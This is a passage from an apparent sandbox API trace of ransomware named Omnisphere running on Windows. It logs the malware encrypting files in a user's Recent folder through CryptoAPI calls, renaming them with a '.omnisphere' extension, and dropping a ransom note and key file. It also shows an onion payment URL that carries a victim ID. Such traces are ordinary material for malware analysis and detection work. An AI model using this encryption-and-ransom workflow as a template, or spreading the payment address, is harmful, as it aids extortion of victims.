pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.371] CryptDestroyKey (hKey=0x1639528) returned 1 [0119.371] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0119.371] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.371] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.371] GetProcessHeap () returned 0x1600000 [0119.371] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x16bb4b8 [0119.372] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\a1x2_-wpnwqzbcqj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\a1x2_-wpnwqzbcqj.lnk.omnisphere")) returned 1 [0119.372] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk.omnisphere.id" [0119.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\a1x2_-wpnwqzbcqj.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.373] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.379] CloseHandle (hObject=0x3c0) returned 1 [0119.380] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.381] CloseHandle (hObject=0x288) returned 1 [0119.381] SetEndOfFile (hFile=0x28c) returned 1 [0119.381] FlushFileBuffers (hFile=0x28c) returned 1 [0119.413] CloseHandle (hObject=0x28c) returned 1 [0119.414] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.414] GetProcessHeap () returned 0x1600000 [0119.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bb780 [0119.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.414] GetProcessHeap () returned 0x1600000 [0119.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2298 [0119.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2298, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.414] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.414] GetProcessHeap () returned 0x1600000 [0119.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afc68 [0119.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afc68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.414] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.414] GetProcessHeap () returned 0x1600000 [0119.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1f70 [0119.415] PathCombineW (in: pszDest=0x16a1f70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.415] GetProcessHeap () returned 0x1600000 [0119.415] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b73b0 [0119.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.415] WriteFile (in: hFile=0x28c, lpBuffer=0x16b73b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b73b0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.415] CloseHandle (hObject=0x28c) returned 1 [0119.415] GetProcessHeap () returned 0x1600000 [0119.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bb780 | out: hHeap=0x1600000) returned 1 [0119.416] GetProcessHeap () returned 0x1600000 [0119.416] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.416] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.416] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.416] CloseHandle (hObject=0x28c) returned 1 [0119.416] GetProcessHeap () returned 0x1600000 [0119.416] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.416] GetProcessHeap () returned 0x1600000 [0119.416] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a16d0 | out: hHeap=0x1600000) returned 1 [0119.416] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a749a0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21a749a0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21a749a0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0xd3, cFileName="aar4wXwobwm8v j.lnk", cAlternateFileName="AAR4WX~1.LNK")) returned 1 [0119.417] GetProcessHeap () returned 0x1600000 [0119.417] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0119.417] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="aar4wXwobwm8v j.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk" [0119.417] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aar4wXwobwm8v j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\aar4wxwobwm8v j.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.417] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=847) returned 1 [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.417] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] GetTickCount () returned 0x115dd6c [0119.418] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0119.419] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.419] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.419] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.419] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0119.419] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34f, lpName=0x0) returned 0x288 [0119.420] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34f) returned 0x1480000 [0119.420] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16689b0) returned 1 [0119.421] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.421] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.421] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.422] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.423] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 